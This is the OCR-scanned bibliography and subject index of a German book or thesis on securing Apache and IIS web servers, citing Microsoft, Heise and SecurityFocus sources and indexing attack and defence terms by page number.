[KYAS/CAMPOOQ0]Kyas, Othmar und Campo, a Markus (2000, 3. Auflage); “IT-
Crackdown — Sicherheit im Internet”; MITP Verlag

[/8/] Golem (Januar 2007), Apache ringt Microsoft wieder Marktanteile ab,
http://www.golem.de/0607/46405.html, (letzte Ansicht Januar 2007)

[/9/] Sysinternals (2006),
http://www .sysinternals.com (letzte Ansicht Februar 2007)

[/10/] Microsoft (2006), Windows Application Compatibility,
http://www.microsoft.com/technet/prodtechnol/windows/appcompatibility/defaul
t.mspx (letzte Ansicht Februar 2007)

[/11/] VNU Network (23. Januar 2006), US cyber-crime damage pegged at $67bn,
http://www.vnunet.com/2148960 (letzte Ansicht Februar 2007)

[/12/] Microsoft (2006), Microsoft Technical Security Notifications,
http://www.microsoft.com/technet/security/bulletin/notify.mspx (letzte Ansicht
Dezember 2006)

[/13/] Microsoft (2006), Microsoft warnt vor gefdlschten Sicherheits-E-Mails
http://www.microsoft.com/germany/technet/sicherheit/bulletins/bogusmails.mspx
(letzte Ansicht Februar 2007)

[/14/] Securityfocus (2006), Mailing Lists,
http://www securityfocus.com/archive

[/15/] Microsoft (2006), Software Update Services (SUS),
http://www.microsoft.com/technet/security/prodtech/SUS.mspx (letzte Ansicht
Februar 2007)

146



Quellenverzeichnis

[/16/]1 SANS Internet Storm Center (2006),
http://isc.sans.org/ (letzte Ansicht Januar 2007)

[/17/] Apache Mailingliste (2006),
http://www.apache.org/foundation/mailinglists.html (letzte Ansicht Dezember
2006)

[/18/] Microsoft, (2006), Windows Server 2003-Sicherheitshandbuch,
http://www.microsoft.com/ germany/technet/datenbank/articles/900124.mspx (letz-
te Ansicht Februar 2007)

[/19/] Microsoft (2006), 1IS-Statuscodes,
http://suport.microsoft.com/?scid=kb;de;318380&spid=2097&sid=216 (letzte An-
sicht Marz 2007)

[/20/] Mitnick, Kevin D.; Simon, William L.; Die Kunst der Tauschung (2003); Mitp-
Verlag

[/21/] Microsoft (2003), Microsoft Security Bulletin MS03-026 “Buffer Overrun In
RPC Interface Could Allow Code Execution (823980)”;
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx (letzte An-
sicht April 2007)

[/22/] Heise (Juli 2006), Newsletter-Dienst (Microsoft-Update fiir IIS installiert sich
nicht immer korrekt) http://www.heise.de/newsticker/meldung/75647 (letzte An-
sicht August 2006)

[/23/] Tecchannel (2007),Netzwerk-Uberwachung mit Snort;
http://www.tecchannel.de/ netzwerk/sicherheit/431413/index11.html (letzte An-
sicht Februar 2007)

[/24/]Microsoft, URL Scanner,
http://www.microsoft.com/germany/technet/sicherheit/tools/urlscan.mspx

147



Quellenverzeichnis

[/25/Mlicrosoft, Lockdown Wizard,
http://www.microsoft.com/germany/technet/datenbank/articles/600187.mspx (letz-
te Ansicht Februar 2007)

[/26/] Microsoft, 1IS-Statuscodes (2004), http://support.microsoft.com/kb/318380
(letzte Ansicht Februar 2007)

[/27/] Securityfocus, XML-RPC for PHP Remote Code Injection Vulnerability
(2007), http://www.securityfocus.com/bid/14088/exploit (letzte Ansicht Méarz 2007)

[/28/] Portsentry/Logsentry; http://sourceforge.net/projects/sentrytools/

[/29/] Wikipedia — Forensik; http://www.de.wikipedia.org (letzte Ansicht Januar
2007)

[/30/] Frei, Patrick — Webalizer XTENDED; http://www.patrickfrei.ch/webalizer /
(letzte Ansicht Méarz 2007)

[/31/] Webalizer; The Webalizer — What is your Web doing today?;
http://www.webalizer.com/ (letzte Ansicht Mérz 2007)

[/32/] Geschonneck, Alexander; “Computer-Forensik. Systemeinbriiche erkennen,
ermitteln, aufklaren” (Auflage: 2., aktualis. A. (Januar 2006); Dpunkt Verlag

[/33/] Heise (2007),, Newsletter Dienst (4.10.2007, ,, Zehntausende Kartenhaus-
Kunden von Kreditkartendaten-Diebstahl betroffen”,

http://www .heise.de/security/news/meldung/96953/Zehntausende-Kartenhaus-
Kunden-von-Kreditkartendaten-Diebstahl-betroffen, (letzte Ansicht 8.10.2007)

[/34/] Heise (2008), Newsletter Dienst (09.01.2008), "Wieder grofs angelegte Angriffe
auf Web-Anwender im Gange", http://www .heise.de/security/news/meldung
/91345, (letzte Ansicht 08.02.2008)

148



Sachwortverzeichnis

A

Active Server Pages Siehe ASP
Angriff

aktiver Angriff 33

passiver Angriff 33
Angriffsmethoden 34
Apache 59
Apache Response Codes 137
Application pools 76
Architektur

Apache 2.0 62

11S 6.0 75
ASP 26
Audits

Software Audit 26
Authentizitat 33

C

Chaos Computer Clubs VII, 4
Cold-Fusion 50

CONNECT Siehe Zugriffsmethoden
convert 101

B

Back Orifice Siehe Trojaner

Background Intelligent Transfer
Service 76

Background Intelligent TransferService
BITS 76

Banner
Serversignatur 52

bindshell 93

BITS Siehe Background Intelligent
Transfer Service

Buffer Overflow 34

D

DDos VIII, 4
DDoS 8
Debian 31
DELETE Siehe Zugriffsmethoden
Der Internet Information Service 75
DoS 89
Denial-of-Service-Attacke 9
DoS-Angriffe (Denial-of-Service) 9

E

Ethereal Siehe Sniffer

F

Filemon 78
Footprinting 51
forking Siehe Preforking Modell

149



Sachwortverzeichnis

G

GET Siehe Zugriffsmethoden
Google 45, 48, 50

H

Hacker 9
Cracker 31
Cyberpunk 31
Lokation 32
Motivation 32
Verhalten 32
HEAD Siehe Zugriffsmethoden

Header Check 53
htaccess 67

L

LINK Siehe Zugriffsmethoden
Lockout Funktion 88

Logcheck 119, 121

Lokale Sicherheitseinstellungen 99

ICMP 51
IDS

ModSecurity 48

SNORT 48
IIS Response Codes 139
index of 50
Informationsbeschaffung 45
Integritat 33
Internet Information Service 53
Internet Information Service (IIS) 48
Internet Information Services 83
inurl 50
ISDN 57

M

Microsoft Management Console Siehe
MMC

Mitnick, Kevin D. 56

MMC 102

mod_negotiation 53

Modem 57

ModSecurity 113, Siehe IDS

Multi-Prozess 61

Multi-Thread 61

MultiViews 54

N

NASA VIL 4

Netbus Siehe Trojaner
Netcat Siehe Trojaner
NMap Siehe Sniffer
NMAP 48

@)

OPTIONS Siehe Zugriffsmethoden

K

konvertiert Siehe convert

150

P

PageXchanger 53
Penetrations-Tests 39
Portsentry 119, 122

POST Siehe Zugriffsmethoden



Sachwortverzeichnis

Preforking Modell 60 U
PUT Siehe Zugriffsmethoden

iibergeordneten Pfade 102
R UNLINK Siehe Zugriffsmethoden
URL Scanner 117

Regmon 78

Response Codes 139 AV
RPC-DCOM 89

Vertraulichkeit 33
S Virus
Blaster-Virus 8
I Love You Virus 8

Sam Spade 53

SCO VII, 4, 45 MyDoom 8

Security by Obscurity 51

Security Lockdown Wizard 118 W

Sicherheits-Audit Siehe Audit

Sn?ghlloo Webalizer 120

Sniffer 33 Webah.zer XTENDED 120
Ethereal 33 Webmin 60
NMap 33 WLAN 57

Worker Process Isolation Mode 75
Worker Process Isolation Mode
WPIM 75
Wurm
Sobig-Wurm 8

SNORT Siehe IDS
Social Engineering 56
Sperren von
Remote Zugriffe 107
Script Mappings 100
Spoofing Attacken

Spoof RPC-Spoofing-Attacke 34 7
Spoofing-Attacken 34

Zugriffsberechtigung 78

T Zugriffsmethoden 19

Zugriffsrechte
Documentroot 101

TRACE Siehe Zugriffsmethoden
Trojanern 36
Type-Maps 54

151



